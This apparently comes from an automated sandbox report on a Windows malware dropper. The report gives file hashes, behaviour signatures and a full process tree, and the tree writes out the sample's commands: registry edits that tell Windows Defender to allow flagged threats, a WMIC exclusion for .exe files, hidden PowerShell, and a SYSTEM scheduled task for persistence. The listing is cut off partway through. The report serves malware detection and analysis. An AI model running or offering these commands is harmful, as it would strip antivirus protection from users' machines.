Analysis

  • max time kernel
    136s
  • max time network
    132s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/06/2024, 01:02

General

  • Target

    0f515b6f9b18beea68c990693f9b9150c12dd836ac19f23233124133a2edb6a5.exe

  • Size

    7.3MB

  • MD5

    dc9627109f66325f75c054cbf0a7e21a

  • SHA1

    e401d88b3a6c1f53e3765bac1c997fc3f38758fe

  • SHA256

    0f515b6f9b18beea68c990693f9b9150c12dd836ac19f23233124133a2edb6a5

  • SHA512

    fca40c43a8b5e41f9f0ba37782f454a58e50fc8d569b4d3a90634a02b45a1711aa5bb7e1f7293f27e3205a125e323c0e4e2f14db30b5d29639d5923a2187b20b

  • SSDEEP

    196608:91O4JyXK7LCYdxeseevniOXuvWnru0tf0wB8O6D/w+B:3OHKXuzgzuvWruofb6D4+B

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 31 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0f515b6f9b18beea68c990693f9b9150c12dd836ac19f23233124133a2edb6a5.exe
    "C:\Users\Admin\AppData\Local\Temp\0f515b6f9b18beea68c990693f9b9150c12dd836ac19f23233124133a2edb6a5.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4748
    • C:\Users\Admin\AppData\Local\Temp\7zS4546.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2252
      • C:\Users\Admin\AppData\Local\Temp\7zS4853.tmp\Install.exe
        .\Install.exe /HPmdidu "385123" /S
        3⤵
        • Checks BIOS information in registry
        • Checks computer location settings
        • Executes dropped EXE
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:1888
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1340
          • C:\Windows\SysWOW64\forfiles.exe
            forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3644
            • C:\Windows\SysWOW64\cmd.exe
              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4496
              • \??\c:\windows\SysWOW64\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                7⤵
                  PID:5108
            • C:\Windows\SysWOW64\forfiles.exe
              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:640
              • C:\Windows\SysWOW64\cmd.exe
                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:4548
                • \??\c:\windows\SysWOW64\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                  7⤵
                    PID:4404
              • C:\Windows\SysWOW64\forfiles.exe
                forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4792
                • C:\Windows\SysWOW64\cmd.exe
                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2188
                  • \??\c:\windows\SysWOW64\reg.exe
                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                    7⤵
                      PID:3600
                • C:\Windows\SysWOW64\forfiles.exe
                  forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4500
                  • C:\Windows\SysWOW64\cmd.exe
                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2016
                    • \??\c:\windows\SysWOW64\reg.exe
                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                      7⤵
                        PID:3460
                  • C:\Windows\SysWOW64\forfiles.exe
                    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2376
                    • C:\Windows\SysWOW64\cmd.exe
                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2212
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell start-process -WindowStyle Hidden gpupdate.exe /force
                        7⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:1308
                        • C:\Windows\SysWOW64\gpupdate.exe
                          "C:\Windows\system32\gpupdate.exe" /force
                          8⤵
                            PID:1284
                  • C:\Windows\SysWOW64\forfiles.exe
                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3984
                    • C:\Windows\SysWOW64\cmd.exe
                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3224
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                        6⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4000
                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                          7⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3352
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /CREATE /TN "btZaCbGShXZoJDfvCg" /SC once /ST 01:04:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS4853.tmp\Install.exe\" PP /oKGdidqvhv 385123 /S" /V1 /F
                    4⤵
                    • Drops file in Windows directory
                    • Creates scheduled task(s)
                    PID:1876
                  • C:\Windows\SysWOW64\forfiles.exe
                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn btZaCbGShXZoJDfvCg"
                    4⤵
                      PID:4528
                      • C:\Windows\SysWOW64\cmd.exe
                        /C schtasks /run /I /tn btZaCbGShXZoJDfvCg
                        5⤵
                          PID:4856
                          • \??\c:\windows\SysWOW64\schtasks.exe
                            schtasks /run /I /tn btZaCbGShXZoJDfvCg
                            6⤵
                              PID:1164
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 1888 -s 1028
                          4⤵
                          • Program crash
                          PID:376
                  • C:\Users\Admin\AppData\Local\Temp\7zS4853.tmp\Install.exe
                    C:\Users\Admin\AppData\Local\Temp\7zS4853.tmp\Install.exe PP /oKGdidqvhv 385123 /S
                    1⤵
                    • Executes dropped EXE
                    • Drops desktop.ini file(s)
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    PID:5020
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                      2⤵
                        PID:3460
                        • C:\Windows\SysWOW64\forfiles.exe
                          forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                          3⤵
                            PID:1652
                            • C:\Windows\SysWOW64\cmd.exe
                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                              4⤵
                                PID:4340
                                • \??\c:\windows\SysWOW64\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                  5⤵
                                    PID:392
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                3⤵
                                  PID:676
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                    4⤵
                                      PID:2672
                                      • \??\c:\windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                        5⤵
                                          PID:4936
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                      3⤵
                                        PID:3684
                                        • C:\Windows\SysWOW64\cmd.exe
                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                          4⤵
                                            PID:1848
                                            • \??\c:\windows\SysWOW64\reg.exe
                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                              5⤵
                                                PID:3788
                                          • C:\Windows\SysWOW64\forfiles.exe
                                            forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                            3⤵
                                              PID:3608
                                              • C:\Windows\SysWOW64\cmd.exe
                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                4⤵
                                                  PID:3856
                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                    5⤵
                                                      PID:2100
                                                • C:\Windows\SysWOW64\forfiles.exe
                                                  forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                  3⤵
                                                    PID:1308
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                      4⤵
                                                        PID:2212
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                          5⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          • Drops file in System32 directory
                                                          • Modifies data under HKEY_USERS
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:2376
                                                          • C:\Windows\SysWOW64\gpupdate.exe
                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                            6⤵
                                                              PID:2144
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                      2⤵
                                                      • Drops file in System32 directory
                                                      • Modifies data under HKEY_USERS
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2192
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:4996
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                            4⤵
                                                              PID:2256
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                            3⤵
                                                              PID:4840
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                              3⤵
                                                                PID:4872
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                3⤵
                                                                  PID:3984
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                  3⤵
                                                                    PID:1012
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                    3⤵
                                                                      PID:1508
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                      3⤵
                                                                        PID:3156
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                        3⤵
                                                                          PID:2912
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                          3⤵
                                                                            PID:4688
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                            3⤵
                                                                              PID:2184
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                              3⤵
                                                                                PID:1904
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                3⤵
                                                                                  PID:3692
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                  3⤵
                                                                                    PID:1536
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                    3⤵
                                                                                      PID:4528
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                      3⤵
                                                                                        PID:5036
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                        3⤵
                                                                                          PID:4744
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                          3⤵
                                                                                            PID:4200
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                            3⤵
                                                                                              PID:2056
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                              3⤵
                                                                                                PID:4896
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                3⤵
                                                                                                  PID:2760
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                  3⤵
                                                                                                    PID:2124
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                    3⤵
                                                                                                      PID:5056
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                      3⤵
                                                                                                        PID:392
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                        3⤵
                                                                                                          PID:4936
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                          3⤵
                                                                                                            PID:2672
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                            3⤵
                                                                                                              PID:676
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                              3⤵
                                                                                                                PID:3788
                                                                                                              • C:\Windows\SysWOW64\reg.exe
